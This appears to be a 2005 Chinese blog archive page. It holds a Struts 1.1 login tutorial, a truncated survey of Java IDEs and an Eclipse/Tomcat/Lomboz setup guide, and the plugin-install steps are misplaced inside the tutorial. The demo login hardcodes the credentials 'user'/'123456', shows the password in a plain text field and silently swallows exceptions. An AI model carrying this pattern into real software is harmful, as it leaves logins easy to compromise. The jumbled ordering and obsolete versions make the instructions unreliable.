charset=gb2312″/>
<title></title>
</head>
<body>
<form name=”form1″ method=”post”
action=”/testweb/logincheck.do”>
<table width=”300″ border=”0″
cellspacing=”0″ cellpadding=”0″>
<tr align=”center”>
<td colspan=”2″>用户登录信息</td>
</tr>
<tr>
<td>用户名</td>
<td>
<input name=”username”
type=”text” id=”username”
size=”12″>
user
</td>
</tr>
<tr>
<td>用户密码</td>
<td>
<input name=”password”
type=”text” id=”password”
size=”12″>
123456
</td>
</tr>
<tr align=”center”>
<td colspan=”2″><input
type=”submit” name=”Submit”
value=”提交”></td>
</tr>
</table>
</form>
</body>
</html>



5、创建form数据对象

打开File->new->package对话框,name中输入com.is.form,点击Finish按钮。在右边的Package Explorer树中找到刚才创建的包,右键点击com.is.form包,菜单中的new->others,找到Amateras->struts->Struts Action Form,点击next,在对话框中name栏输入LoginForm,点击Finish按钮。

编辑LoginForm类的内容为:


package com.is.form;
import org.apache.struts.action.ActionForm;
public class LoginForm extends ActionForm
{
private static final long
serialVersionUID = 1L;
private String username = “”;
private String password = “”;
/**
* @return Returns the password.
*/
public String getPassword()<
br/>{
return password;
}

/**

* @param password The password to set.
*/
public void setPassword(String password)
{
this.password = password;
}
/**
* @return Returns the username.
*/
public String getUsername()
{
return username;
}
/**
* @param username The username to set.
*/
public void setUsername(String username)
{
this.username = username;
}
}



注意,这里的两个属性分别对应我们jsp中form中的两个输入控件的名称,为什么这样做,可以去看struts的帮助文档了,我就不详细说了,还有form类再写完属性后,get和set方法可以通过eclipse的source中的命令来自动生成,在右键菜单中,也不详细说了,去网上查资料吧,关于eclipse的使用有很多的文档。
七、安装Eclipse HTML Editor插件

解压缩tk.eclipse.plugin.htmleditor_1.6.7.zip包,然后将plugins目录拷贝至D:\eclipse目录下覆盖原文件夹即可。到此Eclipse HTML Editor插件安装完成。

八、安装StrutsIDE插件

解压缩tk.eclipse.plugin.struts_1.1.7.zip包,然后将plugins目录拷贝至D:\eclipse目录下覆盖原文件夹即可。

好了,到此StrutsIDE插件安装完成。

6、创建action对象

同创建form的过程相同,我们只是新建一个com.is.action包,同样的过程,打开新建向导,只是选择Struts Action,创建LoginAction.java类,均选默认值。我们编辑LoginAction为如下内容:
package com.is.action;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.struts.action.Action;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;

import com.is.form.LoginForm;

public class LoginAction extends Action
{
private static final long serialVersionUID = 1L;

public ActionForward execute
(ActionMapping mapping,
ActionForm form,
HttpServletRequest request,
HttpServletResponse response)
throws Exception {

// this line is here for when the
input page is upload-utf8.jsp,

// it sets the correct character
encoding for the response

String encoding = request.getCharacterEncoding();

if ((encoding != null) &&
(encoding.equalsIgnoreCase(“GB2312″)))
{

response.setContentType
(“text/html; charset=GB2312″);

} else {

response.setContentType
(“text/html; charset=GBK”);

}

try {

if (form instanceof LoginForm)
{

LoginForm theForm = (LoginForm) form;

if(theForm.getUsername().equals(“user”) &&

theForm.getPassword().equals(“123456″))
{

return new ActionForward(“/welcome.do?type=true”);

}


else {

return new ActionForward(“/welcome.do?type=false”);

}

}
} catch (Exception e)
{

}

// this shouldn’t happen in this example

return null;

}
}



注意这里是直接用ActionForward转向的,你也可以按照struts中提供的空白例程struts-blank.war中的做法进行转向,可以比较一下会有收获的。

7、创建登录成功页面

同创建index.jsp页面相同,我们创建welcome.jsp页面,均使用默认设置。并编辑其内容如下:


<%@page pageEncoding=”GBK”
contentType=”text/html;
charset=GBK” %>
<html>
<head>
<meta http-equiv=”Content-Type”
content=”text/html;
charset=GBK”/>
<title></title>
</head>
<body>
<%
String type = request.getParameter(“type”);
if(type!=null&&type.equals(“true”)){
out.print(“欢迎您的光临!”);

}
else{
out.print(“对不起,你输入的用户名或者密码错误!”);
}
%>
</body>
</html>



8、增加Struts-config.xml中的配置

添加formbean的配置,在和标签之间加入:


<form-bean
name=”loginForm”
type=”com.is.form.LoginForm”/>



添加jsp文件的映射,在和标签之间加入:


<action
path=”/index”
forward=”/index.jsp”/>
<action
path=”/welcome”
forward=”/welcome.jsp”/>



添加action文件的映射,在和标签之间加入:


path=”/logincheck”
type=”com.is.action.LoginAction”
name=”loginForm”
scope=”request”
validate=”true”/>



修改后的struts-config.xml大致如下形式:


<?xml version=”1.0″?>
<!DOCTYPE struts-config PUBLIC “-
//Apache Software Foundation
//DTD Struts Configuration 1.2//EN”
“http://struts.apache.org/dtds
/struts-config_1_2.dtd”>
<struts-config>
<data-sources>
</data-sources>
<form-beans>
<form-bean
name=”loginForm”
type=”com.is.form.LoginForm”/>
</form-beans>
<global-exceptions>
</global-exceptions>
<global-forwards>
</global-forwards>
<action-mappings>
<action
path=”/index”
forward=”/index.jsp”/>
<action
path=”/welcome”
forward=”/welcome.jsp”/>
<action
path=”/logincheck”
type=”com.is.action.LoginAction”
name=”loginForm”
scope=”request”
validate=”true”/>
</action-mappings>
<controller processorClass=
“org.apache.struts.tiles.TilesRequestProcessor”/>
<message-resources parameter=”MessageResources”/>
<plug-in className=
“org.apache.struts.tiles.TilesPlugin”>
<set-property property=”definitions-config”
value=”/WEB-INF/tiles-defs.xml”/>
<set-property property=”moduleAware” value=”true”/>
</plug-in>
<plug-in className=
“org.apache.struts.validator.ValidatorPlugIn”>
<set-property property=”pathnames”
value=”/WEB-INF/validator-rules.xml,
/WEB-INF/validation.xml”/>
</plug-in>
</struts-config>



到此我们可以运行测试程序了。

9、运行测试程序

右键点击testweb工程根目录,点击菜单中的Tomcate project->update context definition,将工程部署进tomcat,成功后会提示操作成功。

点击菜单栏中的雄猫图标启动tomcat,然后在IE地址栏中输入http://localhost:8080/testweb/index.do,我们会看到index.jsp的页面内容。

常见的十四种Java开发工具及其特点

0

分类 : 技术文摘 | 发表时间 26-09-2005



1、JDK (Java Development Kit)Java开发工具集

从初学者角度来看,采用JDK开发Java程序能够很快理解程序中各部分代码之间的关系,有利于理解Java面向对象的设计思想。JDK的另一个显著特点是随着Java (J2EE、J2SE以及J2ME)版本的升级而升级。但它的缺点也是非常明显的就是从事大规模企业级Java应用开发非常困难,不能进行复杂的Java软件开发,也不利于团体协同开发。

2、Java Workshop

3、NetBeans 与Sun Java Studio 5

NetBeans是开放源码的Java集成开发环境(IDE),适用于各种客户机和Web应用。Sun Java Studio是Sun公司最新发布的商用全功能Java IDE,支持Solaris、Linux和Windows平台,适于创建和部署2层Java Web应用和n层J2EE应用的企业开发人员使用。

NetBeans是业界第一款支持创新型Java开发的开放源码IDE。开发人员可以利用业界强大的开发工具来构建桌面、Web或移动应用。同时,通过NetBeans和开放的API的模块化结构,第三方能够非常轻松地扩展或集成NetBeans平台。

NetBeans3.5.1主要针对一般Java软件的开发者,而Java One Studio5则主要针对企业做网络服务等应用的开发者。Sun不久还将推出Project Rave,其目标是帮助企业的开发者进行软件开发。

NetBeans 3.5.1版本与其他开发工具相比,最大区别在于不仅能够开发各种台式机上的应用,而且可以用来开发网络服务方面的应用,可以开发基于J2ME的移动设备上的应用等。在NetBeans 3.5.1基础上,Sun开发出了Java One Studio5,为用户提供了一个更加先进的企业编程环境。在新的Java One Studio5里有一个应用框架,开发者可以利用这些模块快速开发自己在网络服务方面的各种应用程序。

4、Borland 的JBuilder

Jbuilder进入了Java集成开发环境的王国,它满足很多方面的应用,尤其是对于服务器方以及EJB开发者们来说。下面简单介绍一下Jbuilder的特点:

1)Jbuilder支持最新的Java技术,包括Applets、JSP/Servlets、JavaBean以及EJB(Enterprise JavaBeans)的应用。

2)用户可以自动地生成基于后端数据库表的EJB Java类,Jbuilder同时还简化了EJB的自动部署功能.此外它还支持CORBA,相应的向导程序有助于用户全面地管理IDL(分布应用程序所必需的接口定义语言Interface Definition Language)和控制远程对象。

3)Jbuilder支持各种应用服务器。Jbuilder与Inprise Application Server紧密集成,同时支持WebLogic Server,支持EJB 1.1和EJB 2.0,可以快速开发J2EE的电子商务应用。

4)Jbuilder能用Servlet和JSP开发和调试动态Web 应用。

5)利用Jbuilder可创建(没有专有代码和标记)纯Java2应用。由于Jbuilder是用纯Java语言编写的,其代码不含任何专属代码和标记,它支持最新的Java标准。

6)Jbuilder拥有专业化的图形调试介面,支持远程调试和多线程调试,调试器支持各种JDK版本,包括J2ME/J2SE/J2EE。

JBuilder环境开发程序方便,它是纯的Java 开发环境,适合企业的J2EE开发;缺点是往往一开始人们难于把握整个程序各部分之间的关系,对机器的硬件要求较高,比较吃内存,这时运行速度显得较慢。

5、Oracle 的JDeveloper

Oracle9i JDeveloper(定为9.0版,最新为10g)为构建具有J2EE功能,XML和Web services的复杂的,多层的Java应用程序提供了一个完全集成的开发环境。它为运用Oracle9i数据库和应用服务器的开发人员提供特殊的功能和增强性能,除此以外,它也有资格成为用于多种用途Java开发的一个强大的工具。

Oracle9i JDeveloper的主要特点如下:

① 具有UML(Unified Modeling Language,一体化建模语言)建模功能。可以将业务对象及e-business应用模型化。

② 配备有高速Java调试器(Debuger)、内置Profiling工具、提高代码质量的工具“CodeCoach”等。

③ 支持SOAP(Simple Object Access Protocol)“简单对象访问协议”、UDDI(Universal Description, Discovery and Integration)“统一描述、发现和集成协议”、WSDL(Web Services Description Language)“WEB服务描述语言”等Web服务标准。


JDeveloper 不仅仅是很好的 Java 编程工具,而且是 Oracle Web 服务的延伸,支 Apache SOAP,以及 9iAS ,可扩充的环境和 XML 和 WSDL 语言紧密相关。Oracle9i Jdeveloper完全利用Java编写,能够与以前的Oracle服务器软件以及其他厂商支持J2EE的应用服务器产品相兼容,而且在设计时着重针对Oracle9i,能够无缝化跨平台之间的应用开发,提供了业界第一个完整的、集成了J2EE和XML的开发环境,允许开发者快速开发可以通过Web、无线设备及语音界面访问的Web服务和交易应用,以往只能通过将传统Java编程技巧与最新模块化方式结合到一个单一集成的开发环境中之后才能完成J2EE应用开发生命周期管理的事实,从根本上得到改变。缺点就是对于初学者来说,较复杂,也比较难。


6、IBM的Visual Age for Java

Visual Age for Java是一个非常成熟的开发工具,它的特性以于IT开发者和业余的Java编程人员来说都是非常用有用的。它提供对可视化编程的广泛支持,支持利用CICS连接遗传大型机应用,支持EJB的开发应用,支持与Websphere的集成开发,方便的bean创建和良好的快速应用开发(RAD)支持和无文件式的文件处理。

IBM为建设Web站点所推出的WebSphere Studio Advanced Edition及其包含的Visua Age for Java Professional Edition软件已全面转向以Java为中心,这样,Java开发人员对WebSphere全套工具的感觉或许会好了许多。Studio所提供的工具有:Web站点管理、快速开发 JDBC页向导程序、HTML编辑器和HTML语法检查等。这确实是个不错的HTML站点页面编辑环境。Studio和VisualAge集成度很高,菜单中提供了在两种软件包之间快速移动代码的选项。这就让使用Studio的Web页面设计人员和使用VisualAge的Java程序员可以相互交换文件、协同工作。

Visual Age for Java支持团队开发,内置的代码库可以自动地根据用户做出改动而修改程序代码,这样就可以很方便地将目前代码和早期版本做出比较。与Visual Age紧密结合的Websphere Studio本身并不提供源代码和版本管理的支持,它只是包含了一个内置文件锁定系统,当编辑项目的时候可以防止其他人对这些文件的错误修改,软件还支持诸如Microsoft Visual SourceSafe这样的第三方源代码控制系统。Visual Age for Java完全面向对象的程序设计思想使得开发程序非常快速、高效。你可以不编写任何代码就可以设计出一个典型的应用程序框架。Visual Age for Java作为IBM电子商务解决方案其中产品之一,可以无缝地与其他IBM产品,如WebSphere、DB2融合, 迅速完成从设计、开发到部署应用的整个过程。

Visual Age for Java独特的管理文件方式使其集成外部工具非常困难,你无法让Visual Age for Java与其他工具一起联合开发应用。

7、BEA 的 WebLogic Workshop

BEA WebLogic Workshop是一个统一、简化、可扩展的开发环境,使所有的开发人员都能在 BEA WebLogic Enterprise Platform之上构建基于标准的企业级应用,从而提高了开发部门的生产力水平,加快了价值的实现。

WebLogic Workshop除了提供便捷的Web服务之外,它能够用于创建更多种类的应用。作为整个BEA WebLogic Platform的开发环境。不管是创建门户应用、编写工作流、还是创建Web应用,Workshop 8.1都可以帮助开发人员更快

Eclipse, Lomboz and Tomcat 的配置和调试

0

分类 : 技术文摘 | 发表时间 08-09-2005

图片和整个文件在附件里,/*****/里的内容转自http://www.donews.net/torres/archive/2004/09/03/87733.aspx
/************************************************/
一、安装准备
在进行安装以前,你应该准备以下软件:
软件:j2sdk-1_4_2_04-windows-i586-p.exe
版本:1.4.2_04
官方下载:http://java.sun.com/j2se/1.4.2/download.html ;

软件:jakarta-tomcat-5.0.28.exe
版本:5.0.28
官方下载:http://www.apache.org/dist/jakarta/ ;

软件:jakarta-struts-1.1.zip
版本:1.1
官方下载:http://www.apache.org/dist/jakarta/struts/ ;

软件:eclipse-SDK-2.1.3-win32.zip
版本:2.1.3
官方下载:http://www.eclipse.org/downloads/index.php ;
ftp://download2.eclipse.org/R-2.1.1-200306271545/eclipse-SDK-2.1.1-win32.zip
备注:目前eclipse最新版为eclipse3.0
软件:eclipse2.1.1-SDK-win-LanguagePackFeature.zip
版本:2.1.1
官方下载:http://download2.eclipse.org/downloads/drops/
L-2.1.x%20Translations-200307021300
/eclipse2.1.1-SDK-win-LanguagePackFeature.zip
备注:该版本只能汉化eclipse2.1.3及以下版本
软件:TomcatPlugin
版本:2.2.1
官方下载:http://www.sysdeo.com/eclipse/tomcatPlugin.html ;

软件:Lomboz
版本:2.1.3
官方下载:http://www.objectlearn.com/index.jsp ;
软件:EasyStruts
版本:0.6.4
官方下载:http://sourceforge.net/projects/easystruts ;


如果要找其他eclipse插件可以去下面这个站点
http://www.eclipse-plugins.info/ ;

二、JDK安装
1.安装J2SE-SDK到C:\j2sdk1.4.2_04
部分目录结构如下:
C:\j2sdk1.4.2_04\bin
C:\j2sdk1.4.2_04\lib
C:\j2sdk1.4.2_04\jre
...
2.配置环境变量如下:
JAVA_HOME=C:\j2sdk1.4.2_04
PATH=%PATH%;C:\j2sdk1.4.2_04\bin
CLASSPATH=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;%TOMCAT_HOME%\common\lib\servlet-api.jar;%TOMCAT_HOME%\common\lib\jsp-api.jar

三、Tomcat安装
1.安装jakarta-tomcat-5.0.28.exe到C:\Tomcat 5.0
部分目录结构如下:
C:\Tomcat 5.0\bin
C:\Tomcat 5.0\conf
C:\Tomcat 5.0\webapps
...
2.配置环境变量如下:
CATALINA_HOME=C:\Tomcat 5.0
TOMCAT_HOME=C:\Tomcat 5.0
四、Struts安装
1.解压jakarta-struts-1.1.zip到C:\jakarta-struts-1.1
部分目录结构如下:
C:\jakarta-struts-1.1\lib
C:\jakarta-struts-1.1\webapps
...
五、Eclipse安装
1.解压eclipse-SDK-2.1.3-win32.zip到D:\eclipse
部分目录结构如下:
D:\eclipse\features
D:\eclipse\plugins
...
2.启动Eclipse,看看安装是否成功
如果启动不成功,请查看JRE是否安装
3.启动Eclipse,点击菜单 windows->preferences
在左边树中点击展开java,选择Installed JREs,
如果Installed JREs如下则正确:
JRE Type:Standard VM
Name:j2re1.4.2_04
Location:C:\j2sdk1.4.2_04\jre

六、Eclipse汉化
1.解压eclipse2.1.2.1-SDK-win32-LanguagePackFeature.zip
到D:\eclipse下
将目录名eclipse2.1.2.1-SDK-win32-LanguagePackFeature
改为eclipse2.1.2.1Language
部分目录结构如下:
D:\eclipse\eclipse2.1.2.1Language\eclipse\features
D:\eclipse\eclipse2.1.2.1Language\eclipse\plugins
...
2.在E:\eclipse下新建文件夹links,使得文件夹links
和文件夹eclipse2.1.2.1Language同级
3.在D:\eclipse\links下新建文件,文件名任取,
我们命名为language.link,打开此文件,
加入 path = D:\\eclipse\\eclipse2.1.2.1Language
4.启动Eclipse,看看汉化是否成功,
如不成功请检查language.link文件中配置信息
path = D:\\eclipse\\eclipse2.1.2.1Language
和汉化文件夹eclipse2.1.2.1Language的安装路径是否一致
七、TomcatPlugin安装
1.解压tomcatPluginV221.zip
2.将解压目录tomcatPluginV221下
文件夹com.sysdeo.eclipse.tomcat_2.2.1复制到eclipse安装
目录中的plugins目录中,即D:\eclipse\plugins
3.启动Eclipse
4.启动后你将看到你的菜单上多了一个下拉项Tomcat,
快捷栏里多了三个Tomcat的猫图表,如果没有看到,
请点击 窗口->定制透视图,展开树结构中的“其它”,选择“Tomcat”
5.点击 窗口->首选项
在左边树中点击tomcat,
设置tomcat version为version 5.x
设置tomcat-home为C:\Tomcat 5.0
设置perspective to switch when tomcat is started为java

在左边树中点击tomcat->JVM setting,设置JRE为j2sdk1.4.2
在“Tomcat”选项的子选项“JVM Settings” -> “Classpath”中,
添加 Jar/Zip ,该值应该是 java_home/lib/tools.jar。
这用于编译 JSP 文件。
为项目的 classpath 引用设置 classpath 变量 TOMCAT_HOME。
要完成这一任务,请在与步骤 5 相同的弹出菜单中选择“Java”选项,
然后选择“Classpath Variables”子选项,
并添加一个新的变量“TOMCAT_HOME”,其路径是C:\Tomcat 5.0。
确保“Tomcat”菜单和 3 个工具栏按钮可用。到现在为止,
我们应该在 Java 视图中可以看到一个“Tomcat”菜单和 3 个 Tomcat 工具栏
按钮.如果您没有看到这些内容,回到“Window”菜单中,
选择“Customize Perspective…”项,打开选项树,
选中“Other”项并选中“Tomcat”子选项。
点击应用确定
6.点击快捷按钮“Start Tomcat”来启动Tomcat吧。
八、Lomboz安装
1.解压lomboz.213.zip
2.将解压目录lomboz.213\plugins下文件夹com.objectlearn.jdt.j2ee
和com.objectlearn.jdt.j2ee.editors 复制到eclipse安装目录中的plugins
目录中,即D:\eclipse\plugins
3.启动Eclipse
4.点击 窗口->首选项
在左边树中点击lomboz,设置JDK tools.jar位置为
C:\j2sdk1.4.2_04\lib\tools.jar
在左边树中点击lomboz->server definitions,
设置Server Type为Apache Tomcat v5.0.x
设置Application Server Directory为C:\Tomcat 5.0
设置classpath Variable Name为TOMCAT_HOME
设置classpath Variable为C:\Tomcat 5.0
点击应用确定。
九、easyStruts安装
1.解压org.easystruts.eclipse_0.6.4.zip
2.将解压目录org.easystruts.eclipse_0.6.4下文件夹
com.cross.easystruts.eclipse_0.6.4复制到eclipse安装目录中的plugins
目录中,即D:\eclipse\plugins
3.启动Eclipse
4.点击 窗口->首选项
在左边树中点击Easy Struts,选择struts1.1
ADD JREs如下:
struts.jar-C:\jakarta-struts-1.1\lib\struts.jar
ADD TLDs如下:
struts-tiles.tld-C:\jakarta-struts-1.1\lib\struts-tiles.tld
struts-template.tld-C:\jakarta-struts-1.1\lib\struts-template.tld
struts-nested.tld-C:\jakarta-struts-1.1\lib\struts-nested.tld
struts-logic.tld-C:\jakarta-struts-1.1\lib\struts-logic.tld
struts-html.tld-C:\jakarta-struts-1.1\lib\struts-html.tld
struts-bean.tld-C:\jakarta-struts-1.1\lib\struts-bean.tld
点击应用确定。
至此,所有需要的插件都安装好了,下次详细讲述如何用eclipse
来开发 Struts 应用程序

/************************************************/

用个例子调试:
建立工程

操作过程:
菜单【文件】-【新建】选择【项目】如图所示

点击下一步输入你的工程名称,如图所示

点玩下一步后出现如下:
,如图

再下一步就出现如下,
这时候要注意了,
下一步

选择【Web Modules】添加Module 如图所示


输入 Module名称 [如:test]
选择Targeted Servers ,如图
把JBOSS 3.2.x改为选择配置

无觅相关文章插件,快速提升流量